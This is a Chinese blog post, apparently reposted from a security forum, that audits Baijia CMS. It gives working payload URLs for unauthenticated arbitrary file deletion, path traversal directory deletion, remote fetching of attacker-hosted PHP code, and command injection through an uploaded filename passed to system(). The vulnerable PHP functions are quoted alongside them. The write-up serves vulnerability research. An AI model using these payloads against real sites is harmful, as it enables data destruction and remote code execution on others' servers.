百家cms代码审计

2020-04-14 约 360 字 预计阅读 2 分钟

声明:本文 【百家cms代码审计】 由作者 Forthrglory 于 2020-04-14 09:27:59 首发 先知社区 曾经 浏览数 10 次

感谢 Forthrglory 的辛苦付出!

之前看到有师傅在讨论,后台的正常功能被恶意利用,算不算漏洞。
我个人理解,能够造成非预期结果的,便是漏洞。
可能会有很多师傅跟我想法不同,欢迎友好讨论
求同存异,以后介绍时分开漏洞和姿势之类。

网站介绍

百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。

官网

建站

手动创建数据库bjcms

配置后完成安装

漏洞复现

任意文件删除
# payload
# 不需要后台权限
# 只能删除文件,不能删除文件夹

http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt

设置里需要选择本地,否则删除的不是本地文件

先在根目录下创建qwe.txt作为测试文件

访问payload

查看文件,已经被删除

任意路径删除
# 需要后台权限
# 只能删除路径
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1

根目录下创建test文件夹,里面有内容为123的test.txt文件

访问payload
将参数转为base64并方位payload


查看文件夹,已被删除

远程文件上传

我也不知道叫什么好

# 需要后台权限
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php

远程服务器起一个/test/test.php,内容为<?php echo "<?php phpinfo();";

访问payload,得到路径

访问路径,执行代码

查看本地文件

RCE
# 需要后台权限
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1

首先需要在设置里将图片缩放打开

本地创建&命令&.txt格式的文件

访问payload,并进行上传

命令执行

代码审计

代码结构
addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码
任意文件删除
/system/eshop/core/mobile/util/uploader.php

......
elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}
......

file的值为GET获取的参数,跟进

function file_delete($file_relative_path) {

    if(empty($file_relative_path)) {
        return true;
    }

    $settings=globaSystemSetting();
    if(!empty($settings['system_isnetattach']))
        {
                if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
            $ftp=new baijiacms_ftp();
        if (true === $ftp->connect()) {
            if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    } 
        if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
        $oss=new baijiacms_oss();
        $oss->deletefile($file_relative_path);
        return true;
    }
}else
{
        if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
        unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
        return true;
    }

    }
    return true;
}

$settings['system_isnetattach']的即为上文中的本地,ftp或者oss,如果本地,经过is_file的判断后,直接调用unlink删除

任意路径删除
/system/manager/class/web/database.php

if($operation=='delete')
 {
        $d = base64_decode($_GP['id']);

            $path = WEB_ROOT . '/config/data_backup/';
        if(is_dir($path . $d)) {
            rmdirs($path . $d);
            message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
        }
}

原本用于删除数据库的备份,没有做过滤,导致任意删除路径

远程文件上传
/system/public/class/web/file.php

if ($do == 'fetch') {
    $url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
    if (is_error($file)) {
        $result['message'] = $file['message'];
        die(json_encode($result));
    }

}

url为GET读取参数,跟进

function fetch_net_file_upload($url) {
    $url = trim($url);


    $extention = pathinfo($url,PATHINFO_EXTENSION );
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');

        mkdirs(WEB_ROOT . $path . $extpath);
        do {
            $filename = random(15) . ".{$extention}";
        } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));



    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
        $file_relative_path = $extpath. $filename;
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失败.';
        return $result;
    }
        $file_full_path = WEB_ROOT .$path . $extpath. $filename;
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

利用pathinfo获取后缀,与随机数拼接为文件名,将读取的文件内容写入目录下,最后将路径信息返回

RCE
/system/weixin/class/web/setting.php

......
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
    $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
    if(empty( $substr)) {
        $substr="/";    
    }
    $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

    //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);

    file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

    if($verify_root!=WEB_ROOT."/") {
        copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
    }

    $cfg['weixin_hasverify']=$file['name'];
}
......

跟进file_save函数

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{

    $settings=globaSystemSetting();

        if(!file_move($file_tmp_name, $file_full_path)) {
            return error(-1, '保存上传文件失败');
        }
        if(!empty($settings['image_compress_openscale']))
        {

            $scal=$settings['image_compress_scale'];
            $quality_command='';
            if(intval($scal)>0)
            {
                $quality_command=' -quality '.intval($scal);
            }
                system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
        }
......

$settings['image_compress_openscale']即为是否缩放,经过判断后,直接将文件名传入system函数中导致RCE,上文的远程文件中,也调用了file_save函数,但文件名为随机数生成,导致无法调用

姿势

数据库泄露

后台可进行备份,格式为/随机数文件名/baijiacms-1.sql,文件名可查看,导致泄露

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now